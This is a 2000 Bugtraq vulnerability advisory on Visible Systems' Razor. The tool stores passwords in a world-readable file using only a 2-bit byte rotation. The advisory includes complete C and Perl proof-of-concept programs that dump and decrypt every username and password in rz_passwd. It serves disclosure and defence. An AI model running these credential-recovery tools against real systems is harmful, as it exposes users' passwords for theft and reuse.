Bugtraq mailing list archives

Recovering Passwords in Visible Systems' Razor


From: shawn.a.clifford () LMCO COM (Clifford, Shawn A)
Date: Wed, 5 Jul 2000 10:26:04 -0400


|-------------- RECOVERING PASSWORDS IN VISIBLE SYSTEMS' RAZOR
---------------|
|---------------------------------------------------------------------------
--|
|-------------------- Shawn Clifford <shawn () clifford cc>
---------------------|

This advisory follows the RFP disclosure policy:
        http://www.wiretrip.net/rfp/policy.html

----|  ISSUE

Razor is a configuration management tool (see http://www.razor.visible.com).
There is a serious flaw with the Razor password file, rz_passwd.

The problem is two-fold:

        1)  The enciphering method used to scramble the password is
extremely
        weak, using only a simple bit rotation on each byte.  This was
obvious
        after studying the rz_passwd file format for less than 30 minutes.

        2)  The permissions on rz_passwd are world readable (a+r).  If we
        change the permissions to owner-only readable (mode 400), Razor
works
        fine.  But, when a 'razor add_user ....', 'razor remove_user ...',
        or 'razor passwd' command is issued, the permissions are changed
back
        to world readable.  We then tried changing the permissions on the
        parent directory to rwx------ (mode 700), but Razor was then unable
to
        restart the databases.

The Razor password file is found in a directory named Razor_License on the
machine acting as the license server.

----|  ORIGINATORS

Shawn Clifford <shawn () clifford cc>, Pat Walker <pwalker () iag net>
Date of contact:                        2000-Jun-16
Receipt acknowledgment:         2000-Jun-16

----|  MAINTAINER

Visible Systems Corporation
248 Main Street
Oneida, NY  13421
315-363-8000
Web page:       http://www.visible.com
Email contact:  mailto:razor_support () visible com

----|  DISCUSSION

The razor password file is composed of 51-byte records of three fields of 17
bytes.  The fields are:  username, encoded password, and group.

The username and group fields are stored in ASCII plaintext with NULL
padding,
and the encoded password is an 8-byte (maximum) field with NULL padding.

The enciphered password is created by rotating each byte in the plaintext
password right 2 bits.  To decode the password, each byte is just rotated
left 2 bits.

Obviously this is an extremely weak and dangerous method for securing the
passwords.  In fact, you can sit down with a pad, pencil, and a hex dump of
of the password file and decode entries by hand.  But to make matters worse,
the password file is world readable.

A repurcussion of this might be that an attacker recovers a user's Razor
password and then tries the password against other accounts that the user
may have.  I would guess that many users have the same password everywhere.
This is a bad password policy, but nearly impossible to detect or deter.

----|  SOLUTION

Visible said:  "Thank you for your suggested enhancement.  We have placed
your enhancement suggestion in our program database for consideration in
future Razor upgrades."

Huh??????

If you are a Razor user, I suggest you send them a persuasive email.

You may as well do a 'chmod 400' on the parent directory, but keep in
mind that the permissions will change the next time you run one of the
rz commands that touch the password file.

----|  EXAMPLE CODES

== dumprazorpasswd.c ==
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <ctype.h>

/************************************************************

  dumprazorpasswd -
    dumprazorpasswd
                        - prompts for input hex string to decode
    dumprazorpasswd <razor_passwd_file>
                        - prints the users and passwords in <file>
    dumprazorpasswd <passwd>
                        - encrypts <passwd> and prints it in hex

  16-jun-2000   pbw.

************************************************************/

#define ASCII2BIN(c) ( isdigit(c) ? c - '0' : toupper(c) - '7' )

#define ROT8L(c,b) ( (c)=( ( (c<< (b%8) ) + (c>>(8-(b%8))&((1<<(b%8))-1)) )
& 0x00ff) )
#define ROT8R(c,b) ( (c)=( ( (c<< (8-(b%8)) ) + (
c>>(b%8)&((1<<(8-(b%8)))-1)) ) & 0x00ff) )

struct pwent
  {
  char uname[17];
  char psswd[17];
  char gname[17];
  };

dumpfile (int fd)
{
int    status, k;
struct pwent pwent;

while ( (status = read (fd, &pwent, 51)) > 0 )
  {
  if (status != 51)
      {
      printf ("fd = %d\n", fd);
      printf ("partial read! only read %d bytes\n", status);
      exit(0);
      }
  k = 0;
  while (pwent.psswd[k] != '\0')
    {
    ROT8L(pwent.psswd[k], 10);
    k++;
    }
  printf ("user %-17s  %-17s\n", &(pwent.uname[0]), &(pwent.psswd[0]));
  }
}

main (int argc, char *argv[])

{
int  fd,i,k;
char   passwd[18];
char   dpasswd[9];

if (argc < 2)
    {
    printf("razor passwd to decrypt :");
    fgets(passwd, 17, stdin);
    passwd[strlen(passwd)-1] = 0;
    k=0;
    for (i=0 ; i<9 ; dpasswd[i++]=0);
    for (i=(strlen(passwd)-1) ; i>=0 ; i--)
      {
      if (k & 1)
          {
          dpasswd[i/2] |= ((ASCII2BIN(passwd[i]) << 4) & 0xf0);
          }
        else
          {
          dpasswd[i/2] = ASCII2BIN(passwd[i]) & 0x0f;
          }
      k++;
      }
    for (i=0 ; i<strlen(dpasswd) ; i++)
      ROT8L(dpasswd[i], 2);
    printf("%s\n", dpasswd);
    exit(0);
    }
fd = open (argv[1], O_RDONLY);
if (fd < 0)
    {                                   /* assume arg is a passwd to encrypt
*/
    for ( i=0 ; i<strlen(argv[1]) ; i++)
      printf("%02X", (unsigned char)ROT8R(argv[1][i], 2) );
    printf("\n");
    }
  else
    {                                   /* dump file */
    dumpfile(fd);
    }
exit(0);
}
== dumprazorpasswd.c ==

== passwd_rz.pl ==
#!/usr/local/bin/perl

#
#  Title:       passwd_rz.pl
#  Author:      Shawn A. Clifford
#  Date:        2000-June-15
#  Purpose:     Encrypt/decrypt Visible Systems Corp.' Razor passwords
#  Usage:       passwd_rz.pl [ hex_hash | password_file_name ]
#
#               When run without arguments, this program will prompt for
#               a plaintext password and produce the ciphertext that Razor
#               would create for the same string.
#               Eg.:  ./passwd_rz.pl
#
#                       Enter a password, max 8 chars:  WayLame
#                       Hash (in hex):  D5585E13585B59
#
#               When passed a hex-character string, the program will
#               generate the corresponding plaintext password.
#               Eg.:  ./passwd_rz.pl D5585E13585B59
#
#                       Decrypting input hex string:  D5585E13585B59
#                       Plaintext password:           WayLame
#
#               When passed a filename for a Razor password file
(rz_passwd),
#               the program will dump all of the entries in the password
#               file.  Each entry contains a username, password, and group.
#               Eg.:  ./passwd_rz.pl rz_passwd
#
#                       Decrypting Razor password file:  rz_passwd
#
#                       Username           Password         Group
#                       --------           --------         -----
#                       luser123           lamerz           please
#                       luser45            cant             fix
#                       buckwheat          code             this
#                       .
#                       .
#                       .
#                       tester1            CCCCCCCC         test
#                       tester2            AAAAAA           test
#
#                       233 password entries
#

use strict;

#
#  Defines
#
my $arg;                        # Command line argument
my $PLEN = 8;           # Maximum number of chars in a password
my $PGLEN = 22;         # Output page length
my @hash;                       # Password hash (err, lame cipher)
my $passwd;                     # Plaintext password
my $byte;                       # A single byte/char
my $buffer;                     # Record from the password file
my $i;                  # Counter/index
my $user;                       # Username from password file
my $group;                      # Group name from password file
my $rec_fmt = 'A17 C17 A17';    # rz_passwd record format
my $rec_size = length(pack($rec_fmt, ()));  # Size of a password file record

if ($#ARGV < 0) {       # We want to encrypt a password

   #
   #  Get a password
   #
   print "\nEnter a password, max 8 chars:  ";
   $passwd = <STDIN>;
   chomp $passwd;

   #
   #  Encrypt the password
   #
   print "Hash (in hex):  ";
   for ($i=0; $i < length($passwd) && $i < $PLEN; $i++) {

      #
      #  For each byte in the password, rotate right 2 bits
      #
      $byte = unpack("C", substr($passwd,$i,1)) >> 2;
      $byte += unpack("C", substr($passwd,$i,1)) << 6;

      #
      #  Mask off the resultant low byte and save
      #
      $hash[$i] = $byte & 0x00ff;
      printf "%X", $hash[$i];
   }
   print "\n\n";

} else {                # We want to decrypt a rz_passwd file or hex string

   $arg = shift;

   if ( -f ${arg} ) {   # It's a file to process

      print "\nDecrypting Razor password file:  $arg\n";
      open(IN, "<${arg}") || die "Can't open passwd file: $!";

      $i = 0;
      while ( read(IN, $buffer, $rec_size) == $rec_size ) {
         if ($i % $PGLEN == 0) {
            print "\nUsername           Password         Group\n";
            print "--------           --------         -----\n";
         }
         ($user, @hash, $group) = unpack($rec_fmt, $buffer);
         $group = substr($buffer, 34, 17);  # unpack didn't give me this,
why?
         printf "%-17s  %-15s  %-17s\n", $user, decrypt(@hash), $group;
         $i++;
      }
      printf "\n%d password entries\n\n", $i;
      close(IN);

   } else {             # It had better be a string of hex digits!

      print "\nDecrypting input hex string:  $arg\n";

      #
      #  Convert ASCII character string to a binary array
      #
      @hash = ();
      for ($i=0; $i < (length($arg)/2) && $i < $PLEN; $i++) {
         $byte = hex(substr($arg, $i*2, 2));
         $hash[$i] = $byte;
      }

      #
      #  Call the decrypt function to print the plaintext password
      #
      printf "Plaintext password:           %s\n\n", decrypt(@hash);

   }

}

sub decrypt {
   my @hash = @_;               # Pick up the passed array
   my $passwd = ();             # Zero the output plaintext scalar
   my $i;
   my $byte;

   #
   #  Decrypt the lamely enciphered password
   #
   for ($i=0; $i < $PLEN; $i++) {

      #
      #  Convert NULLs to spaces
      #
      if ($hash[$i] == 0) {
         $passwd = $passwd . " ";
         next;
      }

      #
      #  For each byte in the hash, rotate left 2 bits
      #
      $byte = $hash[$i] << 2;
      $byte += ($hash[$i] >> 6) & 0x03;

      #
      #  Mask off the resultant low byte and save
      #
      $passwd = $passwd . chr($byte & 0x00ff);

   }

   return $passwd;
}
== passwd_rz.pl ==


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